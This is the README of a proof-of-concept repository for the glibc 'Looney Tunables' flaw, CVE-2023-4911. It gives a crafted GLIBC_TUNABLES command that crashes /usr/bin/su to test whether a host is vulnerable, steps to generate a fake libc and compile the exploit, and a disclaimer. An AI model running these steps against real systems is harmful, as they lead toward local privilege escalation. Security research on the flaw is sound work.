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PoC of CVE-2023-4911 Looney Tunables

This is a PoC of CVE-2023-4911 (a.k.a. "Looney Tunables") exploiting a bug in glibc dynamic loader's GLIBC_TUNABLES environment variable parsing function parse_tunables().

Getting Started

Executing program

  • We can check if target is vulnerable
env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=`printf '%08192x' 1`" /usr/bin/su --help
  • If we get a Segmentation fault (core dumped) then we are dealing with a vulnerable target.

Executing program

  • Create libc.so.6 file
python3 libc.py
  • Compile exploit
gcc exp.c -o exp

Disclaimer

All the code provided on this repository is for educational/research purposes only. Any actions and/or activities related to the material contained within this repository is solely your responsibility. The misuse of the code in this repository can result in criminal charges brought against the persons in question. Author will not be held responsible in the event any criminal charges be brought against any individuals misusing the code in this repository to break the law.